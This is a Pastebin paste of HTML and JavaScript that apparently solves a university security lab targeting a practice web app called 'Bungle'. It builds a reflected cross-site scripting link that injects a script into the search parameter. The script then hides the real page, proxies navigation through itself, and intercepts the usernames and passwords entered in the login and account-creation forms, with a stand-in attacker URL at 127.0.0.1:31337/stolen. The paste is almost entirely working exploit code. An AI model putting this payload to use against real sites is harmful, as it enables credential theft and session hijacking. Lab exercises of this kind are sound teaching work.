Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <meta charset="utf-8">
- <script src="http://ajax.googleapis.com/ajax/libs/jquery/2.0.3/jquery.min.js"></script>
- <script>
- function payload(attacker) {
- function log(data) {
- alert(data);
- //console.log(data);
- //console.log($.param(data));
- }
- function proxy(href) {
- log(href);
- $("html").load(href, function(){
- $("html").show();
- $("#query").val("pwned!");
- $("#bungle-lnk, #search-again-btn").click(function(e) {
- e.preventDefault();
- proxy("./");
- });
- $("#search-btn").click(function(e) {
- e.preventDefault();
- var search = $("#query").val();
- proxy("./search?q=" + search);
- });
- $(".history-item").click(function(e) {
- var url = $(this).attr("href");
- e.preventDefault();
- proxy(url);
- });
- $("#log-in-btn").click(function(e) {
- e.preventDefault();
- var username = $("#username").val();
- var userpass = $("#userpass").val();
- $.ajax({
- type: "POST",
- url: "http://trurl.cs.illinois.edu/login",
- dataType: "text",
- data: {
- username: username,
- password: userpass
- },
- success: function(){
- proxy("./");
- }
- });
- });
- $("#new-account-btn").click(function(e) {
- e.preventDefault();
- var username = $("#username").val();
- var userpass = $("#userpass").val();
- $.ajax({
- type: "POST",
- url: "http://trurl.cs.illinois.edu/create",
- dataType: "text",
- data: {
- username: username,
- password: userpass
- },
- success: function(){
- $.ajax({
- type: "POST",
- url: "http://trurl.cs.illinois.edu/login",
- dataType: "text",
- data: {
- username: username,
- password: userpass
- },
- success: function(){
- proxy("./");
- }
- });
- }
- });
- });
- $("#log-out-btn").click(function(e) {
- e.preventDefault();
- $.ajax({
- type: "POST",
- url: "http://trurl.cs.illinois.edu/logout",
- success: function(){
- proxy("./");
- }
- });
- });
- });
- }
- $("html").hide();
- proxy("./");
- }
- function makeLink(xssdefense, target, attacker) {
- if (xssdefense == 0) {
- payload(attacker);
- return target + "./search?xssdefense=" + xssdefense.toString() + "&q=" + encodeURIComponent("<script" + ">" + payload.toString() + ";payload(\"" + attacker + "\");<" + "/script>");
- }
- }
- var xssdefense = 0;
- var target = "http://trurl.cs.illinois.edu/";
- var attacker = "http://127.0.0.1:31337/stolen";
- $(function() {
- var url = makeLink(xssdefense, target, attacker);
- $("h3").html("<a target=\"run\" href=\"" + url + "\">Try Bungle!</a>");
- });
- </script>
- <h3></h3>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement